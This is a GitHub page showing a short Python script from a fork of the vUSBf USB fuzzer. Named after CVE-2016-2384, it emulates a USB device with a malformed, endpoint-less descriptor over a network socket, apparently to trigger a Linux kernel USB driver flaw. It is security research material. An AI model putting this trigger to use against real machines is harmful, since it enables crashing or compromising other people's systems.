forked from Fuzion24/vUSBf
/
cve_2016_2384.py
executable file
·48 lines (40 loc) · 1.32 KB
/
cve_2016_2384.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from usbscapy import *
from usbEmulator import usb_emulator
from usb_device import USBDevice
from lsusb_descriptor_parser import lsusbDescriptionParser
import socket
interface = USBInterfaceDescriptor(
bInterfaceNumber = 0,
bAlternateSetting = 0,
bInterfaceClass = 255,
bInterfaceSubClass = 0,
bInterfaceProtocol = 0,
iInterface = 0, # string index
endpoints = [],
)
config = USBConfigurationDescriptor(
interfaces = [interface]
)
usbDevDescriptor = USBDeviceDescriptor(
bDeviceClass = 0,
bDeviceSubClass = 0,
bDeviceProtocol = 0,
bMaxPacketSize = 64,
idVendor = 0x0763,
idProduct = 0x1002,
configurations = [ config ]
)
usbDev = USBDevice(usbDevDescriptor)
# create an INET, STREAMing socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bind the socket to a public host, and a well-known port
serversocket.bind(("10.160.67.51", 1024))
# become a server socket
serversocket.listen(5)
emu = usb_emulator(serversocket.accept()[0], 1)
emu.connect_device(usbDev)
data = lsusbDescriptionParser("dev_desc/multi_flash.txt").parse()
payload = data[0]
if_info_packet = data[3]
ep_info_packet = data[4]
connect_packet = data[2]